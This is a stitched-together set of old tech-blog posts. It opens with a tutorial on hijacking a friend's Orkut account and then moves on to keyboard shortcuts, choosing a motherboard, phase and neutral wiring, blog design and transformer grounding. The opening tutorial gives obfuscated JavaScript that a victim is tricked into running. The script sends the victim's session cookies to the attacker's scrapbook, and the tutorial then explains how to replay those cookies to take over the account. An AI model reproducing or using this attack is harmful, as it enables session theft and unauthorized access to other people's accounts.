Want to peep into your friends ORKUT account. Check this out

Simple ways to hack the orkut account:

Cookies can not be decoded in internet explorer, infact you cant trick your victim who is using internet explore.The reason is that IE does not supports cookies.

Here is the whole procedure how to hack the victim orkut account by stealing cookies

Lets start now

1) Open your orkut account and paste the below script in the address bar to know your GID [Google ID].

Ist script
javascript:void(prompt('',document.body.innerHTML.match
(/http:\/\/\w+.orkut.com\/images\/\w+\/\d+\/([0-9]+).jpg/gi).join('\n').toString().
replace(/http:\/\/\w+.orkut.com\/images\/\w+\/\d+\/([0-9]+).jpg/gi,'$1')))[\b][\red]

It will pop up the number.Copy that number and paste it in the second script below where you can see "XXXXXXX"
2) Paste your GID[which u got when you entered the Ist script],paste it in below script in place of XXXXXXX

javascript:orkut=replyForm;orkut.toUserId.value=XXXXXXX;orkut.scrap
Text.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,
99,111,111,107,105,101));orkut.action='Scrapbook.aspx?Action.submit';
orkut.submit();javascript:cor=new Array('u','b','i','u');var z=1;txt=document.getElementsByTagName('textarea')[0];txt.value=
txt.value.replace(/(.)/gi,"§$1");txt.value=txt.value.replace(/\§ /gi," ");for(y=0;y

3) When u have pasted your GID in the second script, it will become your HACKING script!! if u want to hack your victim's account,ask him to enter this javascript in his address bar.When the victim runs the javascript you get sumthing like this in your scrapbook

TZ=-330; __utma=xxxxxxxxxxxx.xxxxxxxxxx.xxxxxxx.1; __utmb=xxxxxxxx; __utmc=xxxxxxxxx; __utmz=xxxxxxx.xxxxxxxxx.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); orkut_state=ORKUTPREF=ID=xxxxxxxxxxx:INF=0:SET=xxxxxxxx:LNG=1:CNT=91:
RM=0:USR=cmFqYXNoaXZhNDcwQGdtYWlsLmNvbQ==:PHS=:TS=xxxxxxxxxx:
LCL=en-US:NET=1:TOS=xxxxxxxxxx:GC=DQAAAHE

4) Now if u get the above cookie,it means that the victim is using either mozilla or opera means you can hack his account

BUT!!!!!!

if you get something like dis Z=-330; __utma=85909575.22940861.1185079156.1185079156.1185079156.1; __utmb=85909575; __utmc=85909575; __utmz=85909575.1185079156.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none)

5) If you r using mozilla then install the add and edit cookie add on..install it from this link https://addons.mozilla.org/en-US/firefox/addon/573

And if you are using opera browser then go to tools----->preferences---->advanced tab---->cookies[in d extreme left]---->manage cookies then find www .orkut .com in it please make sure that orkut .com is the containing orkut_state value not "utmba" wen u have got it..replace that value wid the cookies

6) In the cookies you get ORKUTPREF=ID copy the part ORKUTPREF=ID till the end and then replace it wid the cookie value in opera as well as mozilla when you have replaced the values click ok and then refresh your orkut..it will redirect you to the victim's home page............"HAPPY HACKING"

Know Your Keyboard

Shortcut commands:-

• CTRL+C Copy
• CTRL+X Cut
• CTRL+V Paste
• CTRL+Z Undo
• DELETE Delete
• SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
• CTRL while dragging an item Copy selected item
• CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
• CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
• CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
• CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
• CTRL+SHIFT with any of the arrow keys Highlight a block of text.
• SHIFT with any of the arrow keys Select more than one item in a window or on the desktop, or select text within a document.
• CTRL+A Select all.
• F3 Search for a file or folder
• ALT+ENTER View properties for the selected item
• ALT+F4 Close the active item, or quit the active program
• ALT+Enter Displays the properties of the selected object
• ALT+SPACE BAR Opens the shortcut menu for the active window
• CTRL+F4 Close the active document in programs that allow you to have multiple documents open simultaneously
• ALT+TAB Switch between open items.
• ALT+ESC Cycle through items in the order they were opened
• F6 Cycle through screen elements in a window or on the desktop
• F4 Display the Address bar list in My Computer or Windows Explorer
• SHIFT+F10 Display the shortcut menu for the selected item
• ALT+SPACE BAR Display the System menu for the active window
• CTRL+ESC Display the Start menu
• ALT+Underlined letter in a menu name Display the corresponding menu.Underlined letter in a command name on an open menu Carry out the corresponding command
• F10 Activate the menu bar in the active program
• RIGHT ARROW Open the next menu to the right, or open a sub menu
• LEFT ARROW Open the next menu to the left, or close a sub menu
• F5 Refresh the active window
• BACKSPACE View the folder one level up in My Computer or Windows Explorer
• ESC Cancel the current task
• SHIFT when you insert a CD into the CD-ROM drive Prevent the CD from automatically playing.

Dialog box keyboard shortcuts

Press To

---

• CTRL+TAB Move forward through tabs
• CTRL+SHIFT+TAB Move backward through tabs
• TAB Move forward through options
• SHIFT+TAB Move backward through options
• ALT+Underlined letter Carry out the corresponding command or select the corresponding option
• ENTER Carry out the command for the active option or button
• SPACE BAR Select or clear the check box if the active option is a check box
• Arrow keys Select a button if the active option is a group of option buttons
• F1 Display Help
• F4 Display the items in the active list
• BACKSPACE Open a folder one level up if a folder is selected in the Save As or Open dialog box

Natural keyboard shortcuts

You can use the following keyboard shortcuts with a Microsoft Natural Keyboard or any other compatible keyboard that includes the Windows logo key () and the Application key ()

Press To

---

• +BREAK Display the System Properties dialog box
• +D Show the desktop
• +M Minimize all windows
• +Shift+M Restores minimized windows
• +E Open My Computer
• +F Search for a file or folder
• CTRL+ +F Search for computers
• +F1 Display Windows Help
• + L Lock your computer if you are connected to a network domain, or switch users if you are not connected to a network domain
• +R Open the Run dialog box
• Display the shortcut menu for the selected item
• +U Open Utility Manager

Accessibility keyboard shortcuts

Press To

---

• Right SHIFT for eight seconds Switch filter keys on and off
• Left ALT +left SHIFT +PRINT SCREEN Switch High Contrast on and off
• Left ALT +left SHIFT +NUM LOCK Switch mouse keys on and off
• SHIFT five times Switch sticky keys on and off
• NUM LOCK for five seconds Switch toggle keys on and off
• +U Open Utility Manager

Windows Explorer keyboard shortcuts

Press To

---

• END Display the bottom of the active window
• HOME Display the top of the active window
• NUM LOCK+ASTERISK on numeric keypad (*) Display all sub folders under the selected folder
• NUM LOCK+PLUS SIGN on numeric keypad (+) Display the contents of the selected folder
• NUM LOCK+MINUS SIGN on numeric keypad (-) Collapse the selected folder
• LEFT ARROW Collapse current selection if it's expanded, or select parent folder
• RIGHT ARROW Display current selection if it's collapsed, or select first sub folder

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Motherboard Selection

How to Choose a Motherboard Are you confused by the vast array of motherboards out there? Choosing a good motherboard is one of the most daunting tasks when building your own computer. All your system's components eventually connect back to the motherboard, so if you choose an inappropriate board, your system is going to have problems. Personally , I feel the motherboard is one component you shouldn't scrimp on - buy the best you can afford. I've seen many otherwise good PCs bogged down by a bad motherboard.

A typical motherboard available in the market

This article will help you choose a good motherboard - read on to learn about the various factors to consider when purchasing one.

What's Your Processor?

First and most important thing to consider when buying your motherboard - what CPU or processor are you using? Motherboards are made differently, not all motherboards will support all CPUs. What CPU you select will determine the type of motherboard you get.

For example, if you want to use an Intel Pentium 4 CPU, the motherboard you select must be able to support that brand and model of CPU. The motherboards are also designed to support specific speeds for a CPU, so make sure it can support the speed of the processor as well.

Choose Your Chipset

What is a chipset? Well, chipsets are the main controllers on the motherboard - they allow the CPU to interface with the various components and expansion cards installed.

When choosing your chipset, always bear in mind the type of memory supported by the motherboard. Make sure that the board supports the type and amount of RAM you need. Generally, choosing a chipset that supports high speed memory will allow your system to perform better.

Expansions Slots and Connectors

If you intend to various peripherals to the computer, then the number and type of expansion slots and connectors is important. By default, most motherboards these days have USB 2.0 ports incorporated into their design. If you do a lot of video capturing and editing, you'll also want to have a Firewire (IEEE 1394) port. If you intend to buy expansion cards, make sure the board comes with an ample number of PCI slots.

Do You Need to Overclock?

If you want to overclock your CPU (though I don't particularly encourage it) - you should ensure you get a motherboard that supports overclocking. You'll want a motherboard that has a wide range of adjustments to CPU settings, including CPU voltage and bus speeds.

Other Features

These days, most motherboards have a whole host of extra features loaded into them. These can include things such as on-board Ethernet, audio, a RAID controller or even graphics. I find such features very handy as they help you save money - you need not buy additional expansion cards.

Conclusion

In short, make sure you do your homework when purchasing a motherboard. Go to the motherboard manufacturer's website and read about its products. Download the motherboard manual and see if its well documented.

At the risk of sounding biased, I've always preferred ASUS motherboards. However, its all up to you. Consider what features are important to you and go get your motherboard. As I said earlier, don't scrimp on the motherboard. Its one of the most important PC components, so get the best you can afford.

Phase (ph) & Neutral (N)

Everyone has a common problem understanding what is phase and neutral. For those the below answer will help them to understand properly.

Ans:

Phase and neutral are the names of two conductor for differentiating them, from each other. Similar to DC where we use "+" and "-".

Phase is used to the conductor which supplies energy at that instant of time and Neutral to the conductor which acts as a return path for the conductor.

As we know that, only when the return path is provided current flows in the circuit.

Phase is used for mention the conductor in which the positive half of the sine wave passes and neutral for the conductor in which the negative half of the sine wave passes.

As we all know that, the AC current or voltage is made of two cycles.

Elements to Make Your Blog Look Great

Structure

I have a friend who won’t go into a certain sports store because the layout is too confusing. Men’s clothes next to the women’s, kids next to adults, football tops out on their own etc. I’m sure there is an order to it somewhere, but I can’t see it.

There is a lot of information on a web page. You can order your page in your own mind, but if the ordering is not blatantly obvious to a first-time visitor, they’re going to be overloaded and leave.

Structure and grid-based design are the corner-stones of a well laid out blog.

Balance

A good design is easy to take in. It allows your eye to glide around the page naturally, without being continually drawn to a certain area of the page.

Think of a see-saw. If you put too much weight on one-side, it will tilt in that direction. But if the weights are equal, it will balance.

In the same way, the weights of the different areas of your page should be equal. The weight of a specific element is affected by its size, but also by its color, its position, and even the detail within it.

Color

Image by Vygotskij.

Color is a scary topic for many people, but it must be braved. The most sure-fire way to ruin a great design is to choose an awful color scheme.

If you don’t trust your eye to pick a good color scheme, there are many tools out there to help you.

Small Details

A person can appreciate complexity in a design. The small details make the overall effect.

You don’t need great works of art in your header, or fancy features in your sidebar. The small details in your site will communicate the level of effort put into a design all by themselves.

It’s working on those details that takes a design from good to great.

Further Reading: Design Is In The Details

Clarity And Emphasis

No reader cares to read all of the content on your page. Most want to read as little as possible. They only need the gist of your points, and then they move on.

Clarity in your design allows one element to differentiate itself from its neighbor, and emphasis on your most important elements, such as post headlines, indicates clearly where the reader should look.

Ample whitespace is a favorite tactic for achieving this. It lets your design breathe, preventing readers from being overloaded and confused.

Remarkability

Image by

This is Seth Godin’s word. You normally hear about it in the context of products and services, but it applies to web design as well.

There are two routes that a design can take. Safe and not safe. You can choose a simple color scheme, a regular 2-column layout and a normal Arial font, and make a decent blog. It won’t be anything spectacular, but it will do the job.

A great design does something more. It goes further than the regular web site and it makes itself unique. Great designs have a certain aspect that makes them better than other sites. Something about them that is worth remarking upon.

Functionality

Design on the web is not based solely on appearance anymore. Even on blogs, the functionality on your page plays a large role. What do you think when you see beautifully laid out threaded comments? Or well implemented Gravatars?

A good blog is much more than a diary with comments. It allows for you to interact with the content, and makes your experience much more enjoyable.

When you see a web page with great functionality, obsessive attention to detail and no flaws to be found, it gives you high expectations for the site. It says a lot about the blogger.

There are far more than 7 elements to a great design. These are merely my favorites. What do you think makes a design great?

Transformer Technical

Why transformer neutral connect with resistance and earthed ???

Ans: Assume, when the transformer is not earthed with resistance and at this situation a short circuit fault occurs. Then, at this time heavy current passes to earth via transformer windings which will cause physical damage to the windings.

But, when a resistance is connected to earth, then under faulty situation the current passing through the winding is minimized to a safe level and the winding is protected from physical damage.

Generally 5 ohms resistance is connected between neutral and earth.

And technically its known as NGR ( neutral grounding resistance )